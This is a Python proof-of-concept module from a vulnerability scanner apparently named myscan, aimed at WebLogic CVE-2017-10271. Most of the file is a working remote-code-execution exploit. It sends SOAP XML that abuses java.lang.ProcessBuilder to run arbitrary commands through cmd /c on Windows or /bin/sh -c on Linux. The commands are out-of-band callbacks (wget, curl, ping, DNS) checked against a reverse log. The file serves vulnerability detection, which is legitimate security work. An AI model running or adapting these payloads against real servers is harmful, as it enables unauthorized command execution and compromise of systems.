#!/usr/bin/env python3
# @Time    : 2020-04-13
# @Author  : caicai
# @File    : poc_weblogic_cve-2017-10271_2017.py


from myscan.lib.helper.request import request
from myscan.lib.parse.dictdata_parser import dictdata_parser
from myscan.lib.core.common_reverse import generate_reverse_payloads, query_reverse
from myscan.config import scan_set

class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "webloigc-cve-2017-10271"
        self.vulmsg = "weblogic rce "
        self.level = 3  # 0:Low  1:Medium 2:High

    def verify(self):
        # 添加限定条件
        self.result_={}
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return

        self.parser=dictdata_parser(self.dictdata)

        find_it=False
        payloads=self.generatepayloads()
        for os_ver in ["win","linux"]:
            for payload in payloads[os_ver]:
                req = {
                    "url": self.url+"wls-wsat/CoordinatorPortType",
                    "method": "POST",
                    "headers": {"Content-Type": "text/xml;charset=UTF-8",
                                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"},
                    "verify": False,
                    "data": self.get_windows_payload(payload) if "win"==os_ver else self.get_linux_payload(payload),
                    "timeout": 10,
                }
                r = request(**req)
                if r != None and r.status_code ==500 and b"<?xml version=" in r.content:
                    find_it=True
        ##check
        hexdatas=list(set(payloads["hexdata"]))
        res, res_data = query_reverse(hexdatas[0])
        if res:
            self.save(2,"find {} in reverse log ".format(hexdatas[0]))
            return
        for hexdata in hexdatas[1:]:  # 后面的不睡眠等待
            res, res_data = query_reverse(hexdata, False)
            if res:
                self.save(2, "find {} in reverse log".format(hexdata))
                return
        if find_it:
            self.save(0, "maybe vuln due to the response")
    def get_windows_payload(self,cmd):
        windows_post_data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>cmd</string>
            </void>
            <void index="1">
              <string>/c</string>
            </void>
            <void index="2">
              <string>{}</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
        '''
        return windows_post_data.format(cmd)

    def get_linux_payload(self,cmd):
        linux_post_data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/sh</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>{}</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
        '''
        return linux_post_data.format(cmd)
    def generatepayloads(self):
        '''
        代码有点冗杂
        '''
        payloads={
            "win":[],
            "linux":[],
            "hexdata":[]
        }
        for method in ["http","dns"]:
            cmds, hexdata = generate_reverse_payloads("201710271"+self.url, method)
            for cmd in cmds:
                if cmd.startswith("wget") or cmd.startswith("curl") or cmd.startswith("ping -c") :
                    payloads["linux"].append(cmd)
                else:
                    payloads["win"].append(cmd)
                payloads["hexdata"].append(hexdata)
        return payloads
    def save(self,level,others):
        self.result.append({
            "name": self.name,
            "url": self.url,
            "level": level,  # 0:Low  1:Medium 2:High
            "detail": {
                "vulmsg": self.vulmsg,
                "others": others,
                "request": self.parser.getrequestraw(),
                "response": self.parser.getresponseraw(),
            }
        })



